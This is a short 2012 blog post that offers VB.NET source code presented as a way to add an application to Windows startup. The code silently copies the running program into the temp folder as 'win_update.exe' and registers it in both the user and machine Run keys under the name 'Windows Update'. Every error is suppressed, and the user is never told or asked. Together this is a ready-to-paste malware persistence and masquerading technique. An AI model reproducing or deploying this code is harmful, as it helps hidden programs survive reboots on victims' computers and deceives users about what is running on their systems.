Saturday, 7 January 2012

[Source]Add Your Application To Startup

Before Public Class Form1 Add:
Imports System.IO
Imports Microsoft.Win32

Now double click form1 and add the following Code:
Try
If System.IO.File.Exists(Path.GetTempPath() & "win_update.exe") = False Then
System.IO.File.Copy(System.Reflection.Assembly. _
GetExecutingAssembly.Location, Path.GetTempPath() & "win_update.exe")
End If
Catch ex As Exception

End Try
Try
Dim regKey As RegistryKey
regKey = Registry.CurrentUser.OpenSubKey("software\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception

End Try

Try
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.SetValue("Windows Update", Path.GetTempPath() & "win_update.exe")
regKey.Close()

Catch ex As Exception
End Try

0 Responses to “[Source]Add Your Application To Startup”

Post a Comment

All Rights Reserved Mbojo-Lab | Blogger Template by Bloggermint